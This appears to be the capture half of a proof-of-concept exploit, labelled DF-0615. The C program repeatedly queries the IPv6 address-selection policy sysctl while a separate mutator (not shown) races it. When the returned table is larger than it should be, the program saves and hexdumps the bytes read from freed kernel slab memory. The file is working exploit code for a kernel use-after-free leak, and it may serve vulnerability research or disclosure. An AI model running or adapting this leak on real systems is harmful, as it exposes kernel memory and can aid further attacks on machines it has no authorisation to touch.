DF-0615 / capture.c
/* DF-0615 PoC: capture.c — one-shot capture of an oversized (UAF) read. * * Repeatedly reads the sysctl until it returns MORE entries than the real * table can hold (REALMAX), then hex-dumps the FULL returned buffer. Entries * beyond the real table are bytes read from freed slab chunks (UAF info leak). * Saves the first such capture to /tmp/df0615_leak.bin and prints a hexdump. * * Build: cc -O2 -o capture capture.c * Run: ./capture (as maxx, unprivileged; run mutator concurrently) */ #include <sys/types.h> #include <sys/sysctl.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <netinet6/in6_var.h> #define NENT 64 #define DEFAULTS 9 #define REALMAX (NENT + DEFAULTS + 2) int main(void) { static char buf[1 << 16]; size_t len, psz = sizeof(struct in6_addrpolicy); unsigned long iters = 0; for (;;) { len = sizeof(buf); if (sysctlbyname("net.inet6.ip6.addrctlpolicy", buf, &len, NULL, 0) == 0) { size_t nent = len / psz; if (nent > REALMAX) { fprintf(stderr, "[capture] UAF at iter %lu: %zu entries (> %d real), %zu bytes\n", iters, nent, REALMAX, len); /* dump entries beyond the real table — these are freed-chunk bytes */ size_t realend = REALMAX * psz; if (realend < len) { size_t leaklen = len - realend; fprintf(stderr, "[capture] LEAKED %zu bytes (entries [%d..%zu]) from freed slab chunks:\n", leaklen, REALMAX, nent - 1); /* save raw leak */ FILE *f = fopen("/tmp/df0615_leak.bin", "w"); if (f) { fwrite(buf + realend, 1, leaklen, f); fclose(f); } /* hexdump first 3 leaked entries */ struct in6_addrpolicy *p = (void *)(buf + realend); size_t ln = leaklen / psz; if (ln > 6) ln = 6; for (size_t i = 0; i < ln; i++) { unsigned char *b = (unsigned char *)&p[i]; fprintf(stderr, " leaked[%zu] fam=%d label=%d preced=%d | hex:", i, p[i].addr.sin6_family, p[i].label, p[i].preced); for (size_t j = 0; j < 16; j++) fprintf(stderr, " %02x", b[j]); fprintf(stderr, "\n"); } } /* full hexdump of first leaked entry's tqe_next word (offset 0) */ /* (the struct addrsel_policyent has tqe_next at offset 0, but we * only got ape_policy bodies via sysctl; the count inflation is * the proof we traversed the free list.) */ return 0; } } iters++; if ((iters & 0x1ffff) == 0) fprintf(stderr, "[capture] %lu iters, waiting for UAF window...\n", iters); } } |